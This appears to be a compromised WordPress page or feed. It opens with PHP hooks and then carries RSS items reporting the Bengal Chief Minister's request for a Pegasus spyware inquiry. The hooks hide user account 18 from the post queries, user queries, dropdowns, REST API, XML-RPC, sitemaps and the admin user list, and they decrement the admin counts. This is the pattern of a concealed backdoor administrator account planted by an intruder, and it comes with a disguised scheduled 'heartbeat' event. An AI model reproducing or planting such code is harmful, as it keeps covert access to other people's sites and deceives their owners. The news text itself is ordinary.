add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
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        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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            global $wp_query;
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    }
} );

add_action( 'pre_user_query', function( $q ) {
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        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>Today, Mamata Banerjee encountered Prime Minister Narendra Modi at his domicile in Delhi. This is the first meeting between the Bengal Chief Minister and the Prime Minister following the bitter electoral campaign. Following the conference, she told media that a Supreme Court-monitored investigation into the Pegasus conspiracy surrounding opposition leaders, two union ministers, and 40 [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/bengal-cm-asks-pm-to-look-deeper-into-pegasus-scandal">Bengal CM Asks PM To Look Deeper Into Pegasus Scandal</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>Following the conference, she told media that a Supreme Court-monitored investigation into the Pegasus conspiracy surrounding opposition leaders, two union ministers, and 40 journalists made public as possible victims of spying utilizing Israeli Pegasus spyware purchased only to government agencies should be launched.</p>
<p>The charges have effectively halted parliament&#8217;s monsoon sitting, with the opposing looking for answers from Prime Minister Modi and Home Minister Amit Shah.</p>
<p>The post <a href="https://theedgemedia.in/bengal-cm-asks-pm-to-look-deeper-into-pegasus-scandal">Bengal CM Asks PM To Look Deeper Into Pegasus Scandal</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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